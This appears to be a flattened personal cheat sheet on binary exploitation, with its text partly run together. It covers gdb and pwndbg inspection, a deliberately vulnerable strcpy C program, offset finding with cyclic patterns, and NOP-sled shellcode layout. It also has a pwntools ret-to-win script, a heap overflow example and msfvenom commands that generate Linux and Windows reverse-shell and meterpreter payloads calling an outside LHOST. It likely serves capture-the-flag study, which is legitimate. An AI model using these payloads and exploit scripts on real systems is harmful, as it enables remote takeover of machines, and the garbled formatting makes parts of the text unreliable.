Investigating Binaries
strings {binary} to see strings in the binaryfile {binary}checksec {binary}info functionsinfo registersinfo variablesx/64x ${register} or x/64x {address}
b *{address}strcpy, gets, sprintf, scanf, strcatpython2 -c "print 'A' * 100"Creating a vulnerable test C file
echo 0 > /proc/sys/kernel/randomize_va_spacegcc bof.c -o bof64 -fno-stack-protector -z execstack -m64 (we’ll need gcc-multilib installed)#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bowfunc(char *string) {
char buffer[1024];
strcpy(buffer, string);
return 1;
}
int main(int argc, char *argv[]) {
bowfunc(argv[1]);
printf("Done.\n");
return 1;
}
Taking Control of the Return Instruction Pointer
rip/eippwndbg {binary}cyclic {number_of_characters_to_crash}run and pass the cyclic payload
0x4012ac <main+132> ret <0x6167616161666161>cyclic -l {offset} to find the offset before the payloadGetting Shellcode Execution
msfvenom -p linux/x86/shell_reverse_tcp LHOST={ip} lport={port} --platform linux --arch x86 --format c --bad-chars "\x00\x09\x0a\x20"
\x90) sled to ensure our code is hit
eipx/2000xb $esp+5500xffffd03e, we’d add \x3e\xd0\xff\xff (little-endian) as our return instruction{buffer_space_minus_other_stuff} + {NOP_sled} + {shellcode} + {eip}Ret-to-win
disas {desired function} to find the address of the function start and return{offset} + {desired_function_return} + {desired_function_start}
p64 like so: p64(0x401186), which returns it in the necessary formatpython3 -c "import sys, struct; sys.stdout.buffer.write(b'A' * {} + b'\x27\x12\x40\x00\x00\x00\x00\x00' + b'\x86\x11\x40\x00\x00\x00\x00\x00')" | ./binaryfrom pwn import *
# choose between local binary or remote service
# p = remote("{IP}", {port})
p = process("./{binary}")
payload = b'A' * {ret_offset}
payload += p64({ret_offset})
payload += p64({start_offset})
p.sendline(payload)
p.interactive()
Heap Overflow
scanf into the 2nd one, we can overwrite the first one pretty easily
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
char* username = malloc(50); //note: glibc's ptmalloc will round the 50 bytes up to 64 for alignment
char* password = malloc(50);
strcpy(password, "fakepass");
printf("Enter username: ");
scanf("%s", username);
printf("Hello, %s. Your password is %s.\n",username ,password );
int result = strcmp(password,"truepass");
if (result > 0) {
printf("nice");
}
return 0;
}
Using Memory Corruption Exploits
sudo apt install mingw-w64i686-w64-mingw32-gccx86_64-w64-mingw32-gcc adduser.c -o adduser.exe-lws2_32 can be used for undefined references to _imp-l can be used for statically link local librariesmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={IP} LPORT={port} -f cmsfvenom -p windows/x64/shell_reverse_tcp LHOST={IP} LPORT={port} -f cmsfvenom -p linux/x86/shell_reverse_tcp LHOST={IP} LPORT={port} -f raw > shellcode.bin2500 Character Cyclic payload for copy-paste
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaatzaaubaaucaaudaaueaaufaaugaauhaauiaaujaaukaaulaaumaaunaauoaaupaauqaauraausaautaauuaauvaauwaauxaauyaauzaavbaavcaavdaaveaavfaavgaavhaaviaavjaavkaavlaavmaavnaavoaavpaavqaavraavsaavtaavuaavvaavwaavxaavyaavzaawbaawcaawdaaweaawfaawgaawhaawiaawjaawkaawlaawmaawnaawoaawpaawqaawraawsaawtaawuaawvaawwaawxaawyaawzaaxbaaxcaaxdaaxeaaxfaaxgaaxhaaxiaaxjaaxkaaxlaaxmaaxnaaxoaaxpaaxqaaxraaxsaaxtaaxuaaxvaaxwaaxxaaxyaaxzaaybaaycaaydaayeaayfaaygaayhaayiaayjaaykaaylaaymaaynaayoaaypaayqaayraaysaaytaayuaayvaaywaayxaayyaay